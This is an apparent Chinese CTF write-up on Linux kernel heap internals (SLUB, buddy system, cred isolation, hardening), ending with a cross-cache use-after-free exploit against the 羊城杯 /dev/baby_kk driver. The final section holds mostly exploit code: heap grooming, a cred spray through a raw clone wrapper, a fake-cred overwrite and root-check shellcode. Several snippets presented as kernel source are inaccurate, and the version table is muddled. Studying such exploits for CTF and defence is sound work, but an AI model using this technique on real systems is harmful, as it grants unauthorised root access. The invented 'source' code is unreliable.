内核堆基础 || 羊城杯challenge例题讲解(Cross-Cache UAF)
字数 4585 2025-12-19 12:15:09

内核堆基础与羊城杯Challenge例题讲解(Cross-Cache UAF)

一、现代内核常规保护机制

1. SMEP(Supervisor Mode Execution Protection)

  • 作用:防止内核态执行用户态代码
  • 绕过方式:采用ROP(Return-Oriented Programming)技术绕过

2. SMAP(Supervisor Mode Access Prevention)

  • 作用:防止内核态在没有明确许可情况下访问用户空间内存
  • 效果:切断了用户态的数据交互,即不能直接读写用户空间内容
  • 绕过方式:使用copy_from_usercopy_to_user函数,将用户空间数据拷贝到内核空间执行

3. KPTI(Kernel Page Table Isolation)

  • 作用:用户空间和内核空间的页表隔离
  • 实现机制
    • Linux采用四级页表结构(PGD→PUD→PMD→PTE)
    • CR3控制寄存器存储PGD地址
    • 内核空间PGD和用户空间PGD两张页全局目录表放在同一段连续内存中
    • 通过CR3取反完成切换
  • 关键函数swapgs_restore_and_return_to_usermode(可通过/proc/kallsyms获取)

4. KASLR(Kernel Address Space Layout Randomization)

  • 作用:随机化内核在内存中的加载地址
  • 影响:影响内核的装载基址

二、内存分配器层级结构

内存管理层次

物理内存(页级) → 伙伴系统(buddy system) → SLUB分配器(对象级) → kmem_cache(缓存描述符) → kmem_cache_cpu(CPU本地缓存)

1. 伙伴系统(Buddy System)

  • 作用:管理物理页(page-level)的分配和释放,以4KB为单位
  • 位置:最底层的内存管理机制
  • 特点:直接操作物理内存,不关心上层对象类型

2. SLUB分配器(对象级分配)

  • 作用:在伙伴系统提供的页上管理特定大小的对象(如struct cred
  • 核心组件
    • kmem_cache:全局缓存描述符(管理一种对象类型)
    • kmem_cache_cpu:CPU本地缓存(每个CPU的快速分配层)
    • kmem_cache_node:NUMA节点缓存(管理节点内的内存)

类比理解

  • 伙伴系统 = 砖厂(提供砖块,每块砖=4KB页)
  • SLUB分配器 = 建筑公司(负责用砖块盖房子)
  • kmem_cache = 建筑公司(描述"盖什么房子")
  • kmem_cache_cpu = 每个工地的临时仓库(CPU本地缓存)

三、SLUB分配器的核心特性

1. CPU绑定机制

  • SLUB分配器优先从当前核心的kmem_cache_cpu中进行内存分配
  • 多核架构中存在多个kmem_cache_cpu
  • 简化模型:kmem_cache_node + kmem_cache_cpu

2. 堆块标志位

  • GFP_KERNELGFP_KERNEL_ACCOUNT是最常见的分配flag
  • GFP_KERNEL_ACCOUNT表示对象与用户空间数据相关联
  • 版本差异:
    • 5.9版本前:存在隔离机制
    • 5.9-5.13:取消隔离机制
    • 5.14+:重新引入隔离机制

3. SLAB Alias机制

  • 作用:对同等/相近大小object的kmem_cache进行复用
  • 实现:当创建kmem_cache时,若存在能分配相等/近似大小object的kmem_cache,则不会创建新的kmem_cache,而是为原有的建立alias

版本对比

内核版本 cred_jar与kmalloc-192关系 原因
Linux 4.4之前 cred_jar是kmalloc-192的alias 无SLAB_ACCOUNT
Linux 5.9之前 cred_jar与kmalloc-192共享缓存 GFP_KERNEL_ACCOUNT未启用隔离
Linux 5.14+ cred_jar与kmalloc-192独立缓存 GFP_KERNEL_ACCOUNT触发SLAB_ACCOUNT

四、SLUB分配器链表管理

关键链表结构

链表/结构 作用 位置 类比
空闲slab链表(kmem_cache_node.free) 管理完全空闲的slab kmem_cache_node中 仓库的空货架
Partial链表(kmem_cache_node.partial) 管理部分分配的slab kmem_cache_node中 正在卖货的货架
CPU本地空闲对象链表(kmem_cache_cpu.freelist) 管理CPU本地缓存的空闲对象 kmem_cache_cpu中 收银台的待售商品
CPU正在使用的slab(kmem_cache_cpu.slab) 指向当前CPU正在操作的slab kmem_cache_cpu中 当前收银台的货架

分配流程

"CPU先看收银台(freelist),没货去货架(partial),货架没货去仓库(free)。"

链表移动方向

空闲slab链表 ← 伙伴系统
部分分配slab链表 ← 空闲slab链表  
CPU本地空闲对象链表 ← 部分分配slab链表

源码实现

关键结构体

struct kmem_cache {
    struct kmem_cache_node *node[NR_NODE_IDS];
};

struct kmem_cache_node {
    struct list_head free;     // 空闲slab链表
    struct list_head partial;  // 部分分配slab链表
    unsigned long nr_partial;  // partial链表中的slab数量
};

struct kmem_cache_cpu {
    struct list_head freelist; // CPU本地空闲对象链表
    void *slab;                // 当前正在使用的slab
};

分配流程源码

  1. 尝试CPU本地缓存
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags) {
    struct kmem_cache_cpu *cpu_cache = this_cpu_ptr(s->cpu_slab);
    if (likely(cpu_cache->freelist)) {
        object = cpu_cache->freelist;
        cpu_cache->freelist = *(void **)object;
        return object;
    }
    // ... 进入slow path
}
  1. 从partial链表获取新的slab
static void *__slab_alloc(struct kmem_cache *s, gfp_t flags, int node, int allocflags) {
    n = get_node(s, node);
    if (!list_empty(&n->partial)) {
        page = list_first_entry(&n->partial, struct page, lru);
        list_del(&page->lru);
        n->nr_partial--;
        cpu_cache->slab = page;
        cpu_cache->freelist = page->freelist;
        // ... 分配对象
    }
}
  1. 从free链表获取新slab
if (!list_empty(&n->free)) {
    page = list_first_entry(&n->free, struct page, lru);
    list_del(&page->lru);
    n->nr_free--;
    page->freelist = page->objects;
    page->inuse = 0;
    list_add(&page->lru, &n->partial);
    n->nr_partial++;
    goto retry;
}
  1. 申请新slab
if (n->nr_free == 0) {
    page = alloc_slab_page(s, flags, node); // 通过伙伴系统
    if (!page) return NULL;
    page->freelist = page->objects;
    page->inuse = 0;
    list_add(&page->lru, &n->free);
    n->nr_free++;
    goto retry;
}

五、NUMA节点管理

NUMA节点结构

struct pglist_data {
    struct zone node_zones[MAX_NR_ZONES];
    unsigned long node_start_pfn;
    unsigned long node_present_pages;
    int node_id;
};

节点与kmem_cache_node关联

void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags) {
    int node = numa_node_id(); // 获取当前CPU的NUMA节点ID
    struct kmem_cache_node *n = s->node[node]; // 通过node索引到管理单元
    // ... 分配逻辑
}

六、高低版本内核差异

Linux 4.4版本

kmem_cache_create的alias逻辑

static struct kmem_cache *kmem_cache_create(const char *name, size_t size, 
                                           size_t align, unsigned long flags, 
                                           void (*ctor)(void *)) {
    if (!(flags & SLAB_ACCOUNT)) {
        struct kmem_cache *s = __kmem_cache_alias(name, size, align, flags, ctor);
        if (s) return s; // 复用现有缓存
    }
    return __kmem_cache_create(name, size, align, flags, ctor);
}

__kmem_cache_alias实现

static struct kmem_cache *__kmem_cache_alias(const char *name, size_t size, 
                                            size_t align, unsigned long flags, 
                                            void (*ctor)(void *)) {
    s = find_kmem_cache(size, align);
    if (s) {
        s->name = name; // 重命名(如cred_jar = kmalloc-192的别名)
        return s;
    }
    return NULL;
}

Linux 5.14+版本

隔离逻辑

static struct kmem_cache *kmem_cache_create(const char *name, size_t size, 
                                           size_t align, unsigned long flags, 
                                           void (*ctor)(void *)) {
    // SLAB_ACCOUNT会强制创建新缓存(不再复用)
    if (flags & SLAB_ACCOUNT) {
        return __kmem_cache_create(name, size, align, flags, ctor);
    }
    // ... 原有逻辑
}

cred_jar创建

static struct kmem_cache *cred_jar;
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 
                             0, SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT, NULL);

七、关键对象对比:cred_jar vs kmalloc-192

关系说明

  • cred_jarkmalloc-192是两个不同的kmem_cache结构体地址→独立实例
  • cred_jar->node[0]->partial只包含struct cred对象(因SLAB_ACCOUNT隔离)

计算示例

  • slab大小:1个页=4096字节
  • 对象大小:sizeof(struct cred)=192字节
  • 每个slab的对象数:4096/192≈21.33→21个对象
  • 每个slab的总占用:21×192=4032字节
  • 剩余空间:64字节(用于管理)

八、完整分配流程图

SLUB分配器流程

graph LR
A[分配请求] --> B{partial链表有slab?}
B -->|是| C[直接分配]
B -->|否| D{full链表有slab?}
D -->|是| E[从full移动到partial]
D -->|否| F{free链表有slab?}
F -->|是| G[从free获取slab]
F -->|否| H[分配新物理页]
E --> C
G --> C
H --> I[新slab加入partial]

包含Buddy System的完整流程

graph LR
A[分配请求] --> B{partial链表有slab?}
B -->|是| C[直接分配]
B -->|否| D{full链表有slab?}
D -->|是| E[从full移动到partial]
D -->|否| F{free链表有slab?}
F -->|是| G[从free获取slab]
F -->|否| H{通过buddy system能找到合适空闲块?}
E --> C
G --> C
H -->|是| I[分割buddy block为所需大小]
H -->|否| J[分配新物理页]
I --> K[剩余部分加入对应大小的buddy链表]
K --> L[新slab加入free链表]
L --> G
J --> M[新slab加入free链表]
M --> G

九、Buddy System详解

Slab调用Buddy System

static struct page *get_new_slab(struct kmem_cache *s, gfp_t flags) {
    struct page *page;
    page = alloc_page(flags); // ← Buddy System入口
    if (!page) return NULL;
    init_slab_page(s, page);
    return page;
}

Buddy System分配页

struct page *alloc_page(gfp_t flags) {
    return __alloc_pages(GFP_KERNEL, 0, 0); // ← 伙伴系统核心
}

关键数据结构

struct zone {
    struct free_area free_area[MAX_ORDER];
};

struct free_area {
    struct list_head free_list[MIGRATE_TYPES];
    unsigned long nr_free;
};

十、SLAB分配器与SLUB关系

设计原则:每页一种类型

安全优势

  • 防止提权漏洞:攻击者无法通过kmalloc(192)直接分配struct cred
  • 隔离敏感数据:struct cred不会与普通数据混在一起,避免堆溢出覆盖凭证

内存效率优势

  • 减少碎片:同类型对象连续存储,避免碎片
  • 优化缓存命中:同类型对象在物理上连续,提高CPU缓存命中率

SLUB与SLAB关系

  • SLAB:原始分配器机制名称
  • SLUB:SLAB的后继者(类似Windows 95→Windows 10)

物理内存层与逻辑管理层

物理内存层(硬件)
│
├── 页(Page):4KB物理单位(由buddy system管理)
│   └── page->slab_cache指向kmem_cache(管理器)
│   └── page->inuse记录该页中已分配对象数
│
└── slub管理器(kmem_cache):逻辑管理结构
    └── 管理多个page(通过full/partial/free链表)

十一、内核对象保护机制

1. Hardened Usercopy

  • 作用:在用户空间与内核空间之间拷贝数据时进行越界检查
  • 检查内容
    • 读取的数据长度是否超出源object范围
    • 写入的数据长度是否超出目的object范围
  • 绕过手段:不适用于内核空间内的数据拷贝

2. Hardened Freelist

  • 保护前:free object的next指针直接存放next free object地址
  • 保护后:next指针存放三个值异或后的值:
    • 当前free object地址
    • 下一个free object地址
    • kmem_cache指定的random值

3. Random Freelist

  • 作用:slub allocator向buddy system申请到页框后,object连接顺序随机
  • 特点:发生在slub allocator刚从buddy system拿到新slub时

4. CONFIG_INIT_ON_ALLOC_DEFAULT_ON

  • 作用:内核进行"堆内存"分配时,将被分配内存内容清零
  • 性能损耗:1%~7%之间

十二、羊城杯Challenge例题详解

题目信息

  • 保护机制:SMEP+SMAP+KPTI+KASLR
  • 设备:/dev/baby_kk

功能分析

全局变量

.bss:0000000000002500 heap_list dq ?        // 堆指针数组
.bss:0000000000002508 heap_size dq ?        // 堆大小数组  
.bss:0000000000002510 heap_offset dq ?       // 堆偏移数组
.bss:0000000000002518 heap_inuse db ?       // 堆使用状态数组

功能函数

  1. add函数(cmd=0x1111)

    • 限制:index≤0x4FF,size≤0x100
    • 分配大小:256字节(0x100)
    • 使用随机化kmalloc缓存选择机制
  2. show函数(cmd=0x4444)

    • 用于信息泄露
    • 读取0x100字节数据
  3. delete函数(cmd=0x2222)

    • 单纯free,没有清空指针
    • 存在UAF漏洞
  4. edit函数(cmd=0x3333)

    • 从用户态拷贝size字节到heap_list[index]指向的内核地址
    • UAF漏洞可利用点

Cross-Cache UAF利用原理

利用思路

  1. 分配阶段:分配大量同一kmem_cache的附属对象
  2. 漏洞对象:分配victim对象,与附属对象来自同一SLUB page
  3. 释放阶段:释放大量附属对象,填满cpu->partial与node->partial
  4. 回收到Buddy System:最后释放Object Set A、victim、Object Set B,使Page S回到buddy system
  5. 堆喷:在目标kmem_cache上进行堆喷,从buddy system分配Page S
  6. 利用UAF:根据漏洞权能进行攻击

关键技术点

  • 一个slab至少占用一个page,避免同一页中出现多种类型object
  • 通过大量释放使slub全空,满足条件后cache会将全空的slab释放给buddy system

利用步骤

1. 准备工作

#define MAX 0x500

void bind_cpu(int core) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void save() {
    __asm__("mov user_cs,cs; mov user_ss,ss; mov user_sp,rsp; pushf; pop user_rflags;");
}

2. 堆布局

// 大量申请堆块
for(int i=0; i<MAX; i++) {
    add(i);
    edit(i, 0x100, buf);
}

// 大量释放,使slub对象进入buddy system
for(int i=0; i<MAX; i++) {
    delete(i);
}

3. 降低fork噪声

使用特定flag降低clone噪声:

clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS, check_root);

4. 堆喷cred对象

for(int i=0; i<MAX; i++) {
    clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS, check_root);
}

5. 查找UAF堆块

u64 gid = (u64)getgid();
u64 uid = (u64)getuid();

for(u64 i=0; i < MAX; i++) {
    show(buf, 0x10, i);
    if(((u64*)buf)[1] == (uid|gid<<32)) {
        // 找到UAF的cred对象
        edit(((s8*)fake_cred_head), sizeof(fake_cred_head), i);
        break;
    }
}

6. 提权执行

// 触发管道执行shellcode
for(int i=0; i<MAX; i++) {
    write(check_root_pipe[1], "!", 1);
}

关键汇编代码

clone系统调用封装

__attribute__((naked)) int clone_and_check(int flags, void (*fn)(void)) {
    __asm__(
        "mov r15, rsi;"
        "xor rsi, rsi;"
        "xor rdx, rdx;"
        "xor r10, r10;"
        "xor r8, r8;"
        "xor r9, r9;"
        "mov rax, 56;"
        "syscall;"
        "cmp rax, 0;"
        "jnz ret;"
        "jmp r15;"
        "ret: ret;"
    );
}

提权检查shellcode

__attribute__((naked)) void check_root() {
    __asm__(
        "mov rdi, [check_root_pipe];"
        "lea rsi, check_root_flag;"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;" // read(check_root_pipe[0], check_root_flag, 1)
        "mov rax, 102;"
        "syscall;" // getuid()
        "cmp rax, 0;"
        "jz success;"
        // ... 成功执行shell
    );
}

总结

本文详细分析了内核堆管理机制,重点讲解了SLUB分配器、Buddy System的工作原理,以及Cross-Cache UAF利用技术。通过羊城杯Challenge例题的实际分析,展示了如何利用内核堆漏洞进行提权攻击。关键点包括:

  1. 理解内核保护机制及其绕过方法
  2. 掌握SLUB分配器的内存管理流程
  3. 熟悉Cross-Cache攻击原理
  4. 实践内核漏洞利用技巧

这种深入的理解对于内核漏洞研究和防护具有重要意义。

内核堆基础与羊城杯Challenge例题讲解(Cross-Cache UAF) 一、现代内核常规保护机制 1. SMEP(Supervisor Mode Execution Protection) 作用 :防止内核态执行用户态代码 绕过方式 :采用ROP(Return-Oriented Programming)技术绕过 2. SMAP(Supervisor Mode Access Prevention) 作用 :防止内核态在没有明确许可情况下访问用户空间内存 效果 :切断了用户态的数据交互,即不能直接读写用户空间内容 绕过方式 :使用 copy_from_user 和 copy_to_user 函数,将用户空间数据拷贝到内核空间执行 3. KPTI(Kernel Page Table Isolation) 作用 :用户空间和内核空间的页表隔离 实现机制 : Linux采用四级页表结构(PGD→PUD→PMD→PTE) CR3控制寄存器存储PGD地址 内核空间PGD和用户空间PGD两张页全局目录表放在同一段连续内存中 通过CR3取反完成切换 关键函数 : swapgs_restore_and_return_to_usermode (可通过 /proc/kallsyms 获取) 4. KASLR(Kernel Address Space Layout Randomization) 作用 :随机化内核在内存中的加载地址 影响 :影响内核的装载基址 二、内存分配器层级结构 内存管理层次 1. 伙伴系统(Buddy System) 作用 :管理物理页(page-level)的分配和释放,以4KB为单位 位置 :最底层的内存管理机制 特点 :直接操作物理内存,不关心上层对象类型 2. SLUB分配器(对象级分配) 作用 :在伙伴系统提供的页上管理特定大小的对象(如 struct cred ) 核心组件 : kmem_cache :全局缓存描述符(管理一种对象类型) kmem_cache_cpu :CPU本地缓存(每个CPU的快速分配层) kmem_cache_node :NUMA节点缓存(管理节点内的内存) 类比理解 伙伴系统 = 砖厂(提供砖块,每块砖=4KB页) SLUB分配器 = 建筑公司(负责用砖块盖房子) kmem_ cache = 建筑公司(描述"盖什么房子") kmem_ cache_ cpu = 每个工地的临时仓库(CPU本地缓存) 三、SLUB分配器的核心特性 1. CPU绑定机制 SLUB分配器优先从当前核心的 kmem_cache_cpu 中进行内存分配 多核架构中存在多个 kmem_cache_cpu 简化模型: kmem_cache_node + kmem_cache_cpu 2. 堆块标志位 GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 是最常见的分配flag GFP_KERNEL_ACCOUNT 表示对象与用户空间数据相关联 版本差异: 5.9版本前:存在隔离机制 5.9-5.13:取消隔离机制 5.14+:重新引入隔离机制 3. SLAB Alias机制 作用 :对同等/相近大小object的 kmem_cache 进行复用 实现 :当创建 kmem_cache 时,若存在能分配相等/近似大小object的 kmem_cache ,则不会创建新的kmem_ cache,而是为原有的建立alias 版本对比 | 内核版本 | cred_ jar与kmalloc-192关系 | 原因 | |---------|--------------------------|------| | Linux 4.4之前 | cred_ jar是kmalloc-192的alias | 无SLAB_ ACCOUNT | | Linux 5.9之前 | cred_ jar与kmalloc-192共享缓存 | GFP_ KERNEL_ ACCOUNT未启用隔离 | | Linux 5.14+ | cred_ jar与kmalloc-192独立缓存 | GFP_ KERNEL_ ACCOUNT触发SLAB_ ACCOUNT | 四、SLUB分配器链表管理 关键链表结构 | 链表/结构 | 作用 | 位置 | 类比 | |----------|------|------|------| | 空闲slab链表(kmem_ cache_ node.free) | 管理完全空闲的slab | kmem_ cache_ node中 | 仓库的空货架 | | Partial链表(kmem_ cache_ node.partial) | 管理部分分配的slab | kmem_ cache_ node中 | 正在卖货的货架 | | CPU本地空闲对象链表(kmem_ cache_ cpu.freelist) | 管理CPU本地缓存的空闲对象 | kmem_ cache_ cpu中 | 收银台的待售商品 | | CPU正在使用的slab(kmem_ cache_ cpu.slab) | 指向当前CPU正在操作的slab | kmem_ cache_ cpu中 | 当前收银台的货架 | 分配流程 "CPU先看收银台(freelist),没货去货架(partial),货架没货去仓库(free)。" 链表移动方向 源码实现 关键结构体 分配流程源码 尝试CPU本地缓存 从partial链表获取新的slab 从free链表获取新slab 申请新slab 五、NUMA节点管理 NUMA节点结构 节点与kmem_ cache_ node关联 六、高低版本内核差异 Linux 4.4版本 kmem_ cache_ create的alias逻辑 __ kmem_ cache_ alias实现 Linux 5.14+版本 隔离逻辑 cred_ jar创建 七、关键对象对比:cred_ jar vs kmalloc-192 关系说明 cred_jar 和 kmalloc-192 是两个不同的 kmem_cache 结构体地址→独立实例 cred_jar->node[0]->partial 只包含 struct cred 对象(因SLAB_ ACCOUNT隔离) 计算示例 slab大小:1个页=4096字节 对象大小: sizeof(struct cred) =192字节 每个slab的对象数:4096/192≈21.33→21个对象 每个slab的总占用:21×192=4032字节 剩余空间:64字节(用于管理) 八、完整分配流程图 SLUB分配器流程 包含Buddy System的完整流程 九、Buddy System详解 Slab调用Buddy System Buddy System分配页 关键数据结构 十、SLAB分配器与SLUB关系 设计原则:每页一种类型 安全优势 防止提权漏洞:攻击者无法通过 kmalloc(192) 直接分配 struct cred 隔离敏感数据: struct cred 不会与普通数据混在一起,避免堆溢出覆盖凭证 内存效率优势 减少碎片:同类型对象连续存储,避免碎片 优化缓存命中:同类型对象在物理上连续,提高CPU缓存命中率 SLUB与SLAB关系 SLAB :原始分配器机制名称 SLUB :SLAB的后继者(类似Windows 95→Windows 10) 物理内存层与逻辑管理层 十一、内核对象保护机制 1. Hardened Usercopy 作用 :在用户空间与内核空间之间拷贝数据时进行越界检查 检查内容 : 读取的数据长度是否超出源object范围 写入的数据长度是否超出目的object范围 绕过手段 :不适用于内核空间内的数据拷贝 2. Hardened Freelist 保护前 :free object的next指针直接存放next free object地址 保护后 :next指针存放三个值异或后的值: 当前free object地址 下一个free object地址 kmem_ cache指定的random值 3. Random Freelist 作用 :slub allocator向buddy system申请到页框后,object连接顺序随机 特点 :发生在slub allocator刚从buddy system拿到新slub时 4. CONFIG_ INIT_ ON_ ALLOC_ DEFAULT_ ON 作用 :内核进行"堆内存"分配时,将被分配内存内容清零 性能损耗 :1%~7%之间 十二、羊城杯Challenge例题详解 题目信息 保护机制:SMEP+SMAP+KPTI+KASLR 设备:/dev/baby_ kk 功能分析 全局变量 功能函数 add函数 (cmd=0x1111) 限制:index≤0x4FF,size≤0x100 分配大小:256字节(0x100) 使用随机化kmalloc缓存选择机制 show函数 (cmd=0x4444) 用于信息泄露 读取0x100字节数据 delete函数 (cmd=0x2222) 单纯free,没有清空指针 存在UAF漏洞 edit函数 (cmd=0x3333) 从用户态拷贝size字节到heap_ list[ index ]指向的内核地址 UAF漏洞可利用点 Cross-Cache UAF利用原理 利用思路 分配阶段 :分配大量同一kmem_ cache的附属对象 漏洞对象 :分配victim对象,与附属对象来自同一SLUB page 释放阶段 :释放大量附属对象,填满cpu->partial与node->partial 回收到Buddy System :最后释放Object Set A、victim、Object Set B,使Page S回到buddy system 堆喷 :在目标kmem_ cache上进行堆喷,从buddy system分配Page S 利用UAF :根据漏洞权能进行攻击 关键技术点 一个slab至少占用一个page,避免同一页中出现多种类型object 通过大量释放使slub全空,满足条件后cache会将全空的slab释放给buddy system 利用步骤 1. 准备工作 2. 堆布局 3. 降低fork噪声 使用特定flag降低clone噪声: 4. 堆喷cred对象 5. 查找UAF堆块 6. 提权执行 关键汇编代码 clone系统调用封装 提权检查shellcode 总结 本文详细分析了内核堆管理机制,重点讲解了SLUB分配器、Buddy System的工作原理,以及Cross-Cache UAF利用技术。通过羊城杯Challenge例题的实际分析,展示了如何利用内核堆漏洞进行提权攻击。关键点包括: 理解内核保护机制及其绕过方法 掌握SLUB分配器的内存管理流程 熟悉Cross-Cache攻击原理 实践内核漏洞利用技巧 这种深入的理解对于内核漏洞研究和防护具有重要意义。